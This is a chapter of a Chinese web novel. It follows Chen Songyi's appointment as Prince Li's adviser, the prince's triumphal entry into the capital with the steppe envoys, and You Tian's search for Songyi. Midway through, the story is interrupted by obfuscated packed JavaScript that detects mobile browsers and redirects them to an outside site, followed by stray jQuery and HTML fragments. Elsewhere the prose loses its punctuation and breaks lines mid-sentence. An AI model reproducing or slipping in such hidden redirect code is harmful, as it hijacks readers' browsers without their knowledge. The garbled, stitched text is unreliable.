秦骁三人在高处待了许久,终于听见亭中响起一声唿哨。
期待已久的三人顿时从各自待的地方翻了下来。
秦骁还拍了拍身上的点心屑。
这个动作换来另外两人的瞪视,但秦骁没在意。
谁让他们没守在进门的位置上?
三人来到亭子外,单膝跪了下来,齐声道:“参见殿下。”
亭中,厉王伸手撩开了挡风的帘子。
陈松意站在他身旁,看他让三人起身,然后转头向自己介绍道:“他们三个都是天罡卫里的精锐,秦骁你已经见过两次,另外这两个是兄弟。——常衡、常衍。”
“属下在。”
这两个在寒风中期盼了一晚上,想要见这位陈姑娘的常家兄弟齐声应道。
萧应离指着陈松意,对两人道:“以后陈姑娘就是本王的幕僚,军师不在时,她行军师之职。”
包括秦骁在内,三人都对这话暗暗吃惊。
他们知道她很厉害,在挑剔如军师口中都能得到很高的评价。
但还是没想到殿下会给她这样大的权力。
军师不在时,她代行军师之职,这意味着什么?
意味着在京城,在殿下不在的时候,她可以代殿下做一切决断。
这就是他们军师的地位。
只不过陈松意不愿让裴植让出军师祭酒的位置。
所以萧应离才没有立刻给她定下官职。
大齐还没有女子当官的先例。
但在过往的历史上,有着很多女将军驰骋沙场,巾帼不让须眉的记载。
现在就暂且让她做他的幕僚,当他在京城的谋士。
等回到边关以后,再正式定下她的官职。
亭外的三人都朝她行礼,然后抬起头。
除了已经熟悉的秦骁,陈松意认真去看另外两人的脸,记下他们的面孔。
天罡卫个个都是百里挑一的精锐,而精锐当中更有精锐。
他们跟许昭能够被厉王钦点,随他脱离大部队,加急送杨副将回京,就说明他们在天罡卫中的排序极高。
在这个距离里,常家兄弟也认真而好奇地看陈松意。
他们既为她的年轻而心生震撼,又为她身上的气质而莫名感到
亲近。
哪怕是在边关多年的军师,他身上的气质跟他们这些经常出入战场,手上军功无数的天罡卫也是不一样的。
可她明明是个姑娘,还是个年纪不大的少女,比起两人在家中的妹妹还要小一些,但当她站在面前,两人却可以感受到她身上那种与他们系出同源的征战杀伐之气。
这种气质冲淡了她的性别,模糊了她的年纪,令他们跟她瞬间就有了一种亲如同袍的亲近感。
这感觉在陈松意朝他们拱手行礼的时候,变得更加清晰坚定了。
所以说,这位陈姑娘真的是来做殿下的幕僚,而不是做他们天罡卫的其中一员,不是做殿下麾下的先锋吗?
从陆侍郎家中回来到现在,两人在亭子里几乎谈了一夜,现在天已经快要寅时了。
城门丑时一刻便开启,陈松意今天还是要到东郊去的。
经过一番详谈,萧应离也知道她出城,并不是单纯冲着救人去的。
她去的目的,主要是要记下京城的阵法,然后对照京城地图,找出阵法的薄弱处。
这样一来,就能找出草原人制造爆炸的目的。
他们也能加以防范。
尽管两人都是一夜没有休息,不过都不见丝毫疲态。
一个可以立刻出发去东郊,另一个可以披上甲胄,上朝继续去威慑那些文官。
在跟他详谈之后,陈松意就知道自己所察觉到的景帝的健康问题,他也察觉到了。
从两日前开始,厉王就已经从帝王的心情、锻炼、饮食等方面着手,配合太医调整恢复他的身体。
这个自己鞭长莫及的部分,竟然也由他早早补上了。
陈松意真切地感觉到了有人合作、里外照应的好处。
再加上将要有天狗食日、地龙翻身的事提前告诉了他,由他在庙堂上来安排预警,也比她一个人四处奔走要好太多。
她正想着,就见他指着秦骁对自己道:“你在京城要出门,有辆马车更方便,我让秦骁跟着你,你要去哪里,由他驾车送你。
“是,殿下!
秦骁半点没觉得让自己去给陈姑娘赶车有什么问题。
关于殿下的安全,其他护卫应该这两日内就能到了。
而且在济州城
外的山上他也已经真切地认识到了自己的位置。
大多数情况下
唯有在驾车这件事情上他还有自信。
然而陈姑娘看了看他却摇头表示:“不用了。”
陈松意拒绝是出于两个方面的考量。
一是她跑得够快。
在突破第四重之后真气量就有了质的提升。
哪怕没有马车她也能长时间高速奔袭。
二是——秦骁太显眼了。
马车可以换可他是厉王的护卫这一点很多人都知道。
“让秦护卫跟在我身边我想做什么都容易让人联想到殿下你他们对我的警惕度就会提高。”
而现在陈松意最不需要的就是对手提高对她的重视。
“你说得对。”萧应离也没有勉强他退了一步就把人留在厉王府“我若不在府中你要找我就找秦骁。”
“是我记住了。”
正当秦骁失望不能跟在她身边多了解殿下这个神秘的新幕僚几分接触她那个层面的不同世界时就看到殿下朝自己伸出了手。
青年愣了一下随即回过神来连忙把收在自己这里的金牌拿了出来交到了殿下手中。
萧应离拿着这面带有自己印记的金牌轻轻地抛了抛然后递给了陈松意:“这个给你。”
少女的目光落在这面眼熟的金牌上眼底不由得生出了波澜。
这面金牌军师有她第二世的爹也有风珉也有。
上一次她在济州城扮作老妇人帮了许家得他赠了一枚玉佩。
这一次她终于也有了!
萧应离看着她伸手掌心向上从自己手中接过了金牌像是接过了一件很有分量的、很令她看重的东西然后抬眼看自己。
她没有道谢却两眼发亮很是高兴的样子。
这令萧应离觉得稀奇明明他先前对她许诺了更多甚至愿以军师祭酒聘她都没见她露出这样的表情。
陈松意达成了第二世的愿望收起了金牌。
这个时候她在他们眼中才有了这个年纪的姑娘应有的样子。
等她收好萧应离才道:“有了这面
金牌你可以在厉王府随意进出。等天罡卫跟随我回来那三千军士到了也可以随意调遣。”
她郑重地道:“我会好好使用的绝不辜负殿下的信任。”
然后
厉王府的厨子自然也是从宫中出来的御厨而且不止一个什么精细饮食都能做。
只可惜他们这位殿下不是习惯享受精细美食的人让厨房准备的早食同边关相近。
摆上桌的早食是耐饱的饼跟热腾腾的肉汤。
顶多用料比起边关更加好调味更出色一些。
等早食摆上来以后看到陈松意在旁边萧应离才想起他们习惯的饮食她不一定吃得惯。
留她在厉王府用早饭搞不好还是为难了她。
结果陈松意上了桌却是和他们一样很习惯地吃了起来。
不管是把饼掰开泡进汤里的熟练还是往里面加调料的动作都有种久在军中的粗糙感。
这让萧应离后知后觉地生出了一丝微妙。
她会的东西都可以用从小接受师父的秘密教导来解释可没有理由如此适应军中的一切。
不过厉王殿下没有说什么。
他端起了碗想道看来除了她告诉自己的那些她身上还是有秘密的。
在厉王府的几人扎实地吃完早饭出了门一个坐马车去皇宫另一个步行去东市租车的时候陆云也准备好出门了。
昨夜他被救下在厉王殿下离开之后他就跟夫人在一起。
两人都没怎么睡好。
陆夫人知道一定是发生了超过自己所知的严重问题才会令夫君这样做。
所以当夫妇二人独处的时候她什么也没有问只珍惜着这样和他在一起的时光。
她睡得很少当陆大人一起身的时候她就跟着醒来。
然后起身为他整理官服又去为他安排好早膳跟马车。
陆大人脖子上的血瘀已经用粉盖住了。
冬天不怎么出汗不会洗脱就不容易被看出来。
而厉王殿下赠给他的灵符眼下也被他贴身放置在了胸口。
夫人昨晚连夜给他做了一个锦囊
将符装在里面。
老宋头昨天喝多了两杯,跟家中大多数下人一样,不知道昨天发生了什么事。
他乐呵呵地套上了车,为自己来年还能为这个家发光发热而高兴。
陆大人带好了官帽,从房间里走了出来,对着妻子道:“我走了。”
陆夫人站在原地,眼睛有些红肿。
陆大人对她笑了笑,说道:“不会再有事了,我会早点回来。”
“嗯。”陆夫人的眼泪又流了下来,但这次不是因为害怕,而是因为不用再害怕。
她夫君的眼神跟之前不一样了,现在变得明亮而坚毅。
她相信,他一定会安然无恙地回来。
“驾!”
老宋头熟练地驾着马车,朝着城门的方向去。
尽管这个时候天刚刚大亮,但城门口已经聚集了很多平民,甚至比赶集的日子还要热闹。
老宋头坐在车辕上,呼出一口白雾,握着缰绳看着外头,发现外面聚集了很多人。
“老爷!”他转头对着马车里的陆大人喊道,“这个门的人太多了,我们换个门走吧。”
在他身后,陆大人掀开了帘子,看向了城外,见到了厉王殿下的旗帜。
厉王的大军这才抵达,三千人组成的军队威势极大。
为首的是他麾下的天罡卫,披坚执锐,无论是武装到面孔的战甲还是手中的武器,全都有种逼人的锐意跟勇猛。
而在这片金属的海洋中,还有草原王庭的旗帜。
草原人派遣来议和的使团不过十几二十人,跟这支大军同行,就好像被押解过来的俘虏。
所有被这动静吸引过来的京城百姓都在看着这些将士。
赞叹着他们的精锐,感慨着他们的战马跟武器。
这跟他们在京城见到的禁卫军是完全不一样的。
他们当中的每一个,都像是能把他们京城的禁卫军打得落花流水。
“这是哪里的军队?竟如此勇猛!”
“你没看到他们打出来的旗帜吗?这是厉王殿下的军队,是厉王殿下回来了!”
掀起帘子的陆大人目光移动,落在了其中那个熟悉的身影上。
昨夜厉王殿下才来过他的家中,将他从死亡中解救下来。
而现在,他就身在他的军队里,身穿战甲,骑着一匹高大神俊的黑色骏马。
当第一缕阳光照在他身上的时候,他整个人就如一座发光的神像,一位年轻的天神。
过去两天里,只有皇宫里的人跟大臣知道他已经回来了。
此刻,京城的百姓看到他推起那块冰冷的面甲,露出真容,驱策着他那比所有的马都要高出一头的骏马走出来的时候,都爆发出了一阵山崩海啸般的欢呼——
“厉王殿下!厉王殿下!
“厉王殿下回来了!
无需任何指挥,每一个人都发自内心地欢呼。
在他带着他的军队走进城门的时候,夹道的不管是官兵还是平民百姓,都虔诚地跪了下来。
在他们的这位殿下成长为大齐的战神之前,每一次草原蛮夷叩边,每一次边关告急的消息传到中原,都会令百姓胆战心惊。
哪怕身在京城,他们也会害怕。
怕那不可抵挡的草原铁蹄会踏破边关,终有一天来到他们的城墙之下。
可从厉王殿下去到了边关开始,带领军队跟草原人交手以来,伴随战报传回来的就是一次又一次的大捷!
前朝没有打出来的战绩,他做到了。
太-祖、高祖他们没有做到的事,他也做到了!
这一次,他更是打得草原王庭失去了他们的雄主,打得他们要派人来求和。
而他还带回来了那么多的俘虏、战马!
谁会不为他而疯狂?
谁会不想成为他麾下的将士,为他去战斗?
在这海啸般的呼声中,在京城百姓狂热的目光里,被听到自己的大军抵达,于是一早过来披上战甲的厉王这样镇压一般地送进城的草原使团,里面的每一个人都觉得这声音刺耳,这些目光刺人。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14254550|151575||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
尤其是狐鹿,看着那个骑着高头大马走在最前面的萧应离,怨毒的目光恨不能盯穿他的战甲,在上面烧出两个窟窿。
因为京城民众的夹道欢呼,他们走了很久。
而本来想用高规格来迎接草原使团的议和派没有争赢,所以草原一行被直接送去了鸿胪寺。
他们就在行馆简陋地住下,等待帝王的召见。
这次议和,所有的光芒都被厉王
夺走了,偏生议和派还不能反驳。
毕竟用厉王的话来说,他是给了他们面子,代替他们去城门口迎接了从草原来的客人。
由大齐的王爷带着军队去迎接草原的王子,这样的规格难道还不够高吗?
……
队伍走过,厉王殿下的身影很快也看不到了。
但狂热的气氛仍然残留在空气中,京城的百姓全都热议着方才那一幕。
跟前面两只船同时抵达的风珉一行这才乘着马车进来。
游天掀起帘子又放下,伸手赶了赶飘扬起来的尘土。
风珉跟他坐在同一辆马车上,懒洋洋地靠在车壁上。
看见他的动作,风珉说道:“进了城就很快了。”——很快就能到忠勇侯府。
虽然他现在已经通过江南的事争取到了自由,不必再因为闷烦、不能实现自己的志向而做个纨绔,但回到自己熟悉的地方,他的身体还是自动回到了最熟悉的模式。
这一次,风珉没想到会离开那么久。
一想到回去要面对祖母跟母亲——说不定还有两个姐姐的眼泪攻势,他就有些头疼起来。
游天拿起放在旁边的包裹,道:“我先下车,去找松意。”
风珉直起身,道:“不先跟我回侯府吗?等回去我让人打听一下,很快就找到了。”
“不用。”说话间,穿着道袍的游天已经推开了车窗,他在马车里站起来,半弓着腰,回头道,“我自己找更快,回头再去找你!”
说完也不用喊停车,他就一下从车窗里跃了出去。
很快三下两下就不见了踪影。
风珉在车窗后看着他消失,听到前面赶车的车夫有些惊骇的声音,只伸手敲了敲车壁。
“不用管他,继续去忠勇侯府。”
……
游天打南边来,但是现在在江南,人们也已经穿上了冬衣。
只有他依旧穿着一身宽大的道袍,简直留不住丝毫的热气,在冬天的京城更惹人注目。
他觉得船在水上行走的速度还算快,可等到了地上坐马车,就慢得让人难以忍受了。
游天不想再坐,于是跳了下来。
但京城这么大,要找一个人也实在不容易。
而在“术”
上面,他又不行。
就在他思索着第一步该去哪里,自己身上又还有没有什么能寻人的小把戏时,旁边的茶馆里传来的说书声吸引了他的注意力。
他走过去听了半天,确认这人说的“陈解元就是陈寄羽,还有关于昨天的“大热闹里提到的正是陈松意,只转身问旁边一个听得津津有味的人:“这人说的陈家兄妹,现在住在哪里?
江南会馆,对面的巷子里,一辆马车中。
赵氏母女在那里冻了一夜,都熬不住睡着了。
两人的车夫更惨,在外面冻着,一整晚都没有地方遮蔽。
好容易等到白天,找了个能晒到太阳的避风处,根本没看到会馆有什么人出来。
他一边跺脚取暖,一边朝着会馆大门的方向看了一眼,只见到一个穿着道袍的年轻道士走了进去,他呆了呆:“这应该不是四夫人要找的人吧……
一进来,游天就感觉到了会馆里跟外面的温度差。
里面的侍从衣衫穿得都像春秋一般轻便,但那是因为他们一直待在会馆里。
而这个少年道士却是刚从外面进来,竟然穿得这么少。
他们看他走进大厅之后左右张望,没有半点寻常人走进他们会馆的畏怯、不自信。
于是想着要不要上前来问一问他是来做什么的。
陆掌柜正好从里头出来,看到游天,他脚步一顿。
这段时日他在会馆见到的人,样式真是比过去几年见到的都要多。
对想要迎过去的侍从比了个手势,陆掌柜自己走上前来。
他看了看这个剑眉星目、脸上还带点婴儿肥的少年道士,问:“道长从何处来?不知来我们江南会馆有何贵干?
游天转头,见他衣着打扮和那些侍从都不同,看着是个能说话的,于是开口道:“我找人。
“找人,这是陆掌柜这两天不知道第几次听到这个理由了。
他还想打趣一句“莫不是道长想找的人也姓陈,赵山长跟陈寄羽正好也从里面走了出来。
原本正在跟老师交谈的陈寄羽一见到游天,立刻露出了意外惊喜的表情:“游道长?
游道长?这个称呼瞬间触发了赵山长跟陆掌柜的记忆。
在陈寄羽走
过来的时候,两人都看着这个穿着道袍的少年,想道——
这难道是……传说中的神医游天?!
一见到熟悉的面孔,游天便立刻知道自己没有找错。
不等陈寄羽说什么,他便问他:“松意呢?阁——嗯,她先前托我给她找本书,我送去你们家,结果你们爹娘说她跟你一起来了京城。”
说完,小师叔便期盼地看着他,等他带自己去见松意。
没想到却从他这里得到了一个有些意外的答案:“昨天松意去见厉王殿下,尚未归来。”
游天:“???”
厉王殿下?他不是跟自己一样刚下船吗?刚刚他还看见他了呢。
小师叔很困惑,不过无所谓了。
他问道,“那我现在该去哪里找她?”
“她今天应该会去东郊。”陈寄羽说着,看了看身上衣衫单薄的游天,“但她具体在哪里,我也不知道,总之晚上她肯定会回来。”
赵山长也走了过来,跟陆掌柜一起两眼放光地看着这个疑似游神医的少年道长。
虽然不知游天是怎么来的京城,但肯定一路风尘,陈寄羽于是劝道:“游道长就在会馆等吧,先吃了早膳,再好好休息。”
“对对对。”陆掌柜殷勤地道,“松意姑娘的朋友就是我们会馆的贵客,就请道长留在会馆等她吧——不知道长是否就是名动江南的游神医?久仰久仰,幸会幸会!”